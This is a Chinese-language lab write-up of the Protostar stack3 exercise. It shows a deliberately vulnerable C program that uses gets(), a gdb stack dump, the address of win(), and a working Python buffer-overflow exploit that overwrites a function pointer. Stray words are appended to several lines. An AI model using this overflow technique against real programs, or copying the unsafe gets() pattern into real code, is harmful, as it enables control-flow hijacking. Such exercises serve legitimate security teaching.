這個練習須要找到函數的起始地址,並用該地址覆蓋棧中的函數指針。python
1 #include <stdlib.h> 2 #include <unistd.h> 3 #include <stdio.h> 4 #include <string.h> 5 6 void win() 7 { 8 printf("code flow successfully changed\n"); 9 } 10 11 int main(int argc, char **argv) 12 { 13 volatile int (*fp)(); 14 char buffer[64]; 15 16 fp = 0; 17 18 gets(buffer); 19 20 if(fp) { 21 printf("calling function pointer, jumping to 0x%08x\n", fp); 22 fp(); 23 } 24 }
此次代碼中除了main函數外,還有一個win函數,可是在main函數中並無出現調用win函數的語句,而本來的modified變量變成了一個函數指針fp,注意雖然類型不一樣,可是這兩個變量的大小相同,在棧中的分佈也應該和以前相同。經過gets函數給buffer變量賦值,能夠覆蓋fp指針的值,使其指向win函數,從而在接下來的if語句中執行win函數,
問題的關鍵在於,怎樣得到win函數的起始地址。函數
首先看一下棧分佈是否是和前面的練習相同,這裏咱們的用戶輸入是"abcd"spa
1 (gdb) b 20 2 Breakpoint 1 at 0x8048455: file stack3/stack3.c, line 20. 3 (gdb) r 4 Starting program: /opt/protostar/bin/stack3 5 abcd 6 7 Breakpoint 1, main (argc=1, argv=0xbffffd64) at stack3/stack3.c:20 8 20 stack3/stack3.c: No such file or directory. 9 in stack3/stack3.c 10 (gdb) print $esp 11 $1 = (void *) 0xbffffc50 12 (gdb) print $ebp 13 $2 = (void *) 0xbffffcb8 14 (gdb) x/26xw $esp 15 0xbffffc50: 0xbffffc6c 0x00000001 0xb7fff8f8 0xb7f0186e 16 0xbffffc60: 0xb7fd7ff4 0xb7ec6165 0xbffffc78 0x64636261 17 0xbffffc70: 0xb7fd7f00 0x0804967c 0xbffffc88 0x0804830c 18 0xbffffc80: 0xb7ff1040 0x0804967c 0xbffffcb8 0x080484a9 19 0xbffffc90: 0xb7fd8304 0xb7fd7ff4 0x08048490 0xbffffcb8 20 0xbffffca0: 0xb7ec6365 0xb7ff1040 0x0804849b 0x00000000 21 0xbffffcb0: 0x08048490 0x00000000
下面看一下win函數的起始地址:指針
(gdb) info address win Symbol "win" is a function at address 0x8048424.
如今咱們有了win函數的起始地址,接下來的方法就和以前的練習同樣了。調試
由於須要處理程序中的用戶輸入,因此使用subprocess模塊,和stack0相似,payload以0x24840408結尾,原理在stack2中已經說過了。
exploit代碼:code
1 import subprocess 2 proc = subprocess.Popen("/opt/protostar/bin/stack3", stdin=subprocess.PIPE) 3 payload = "6161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616161616124840408" 4 proc.communicate(payload.decode("hex"))
結果輸出:blog
$ python exploit3.py calling function pointer, jumping to 0x08048424 code flow successfully changed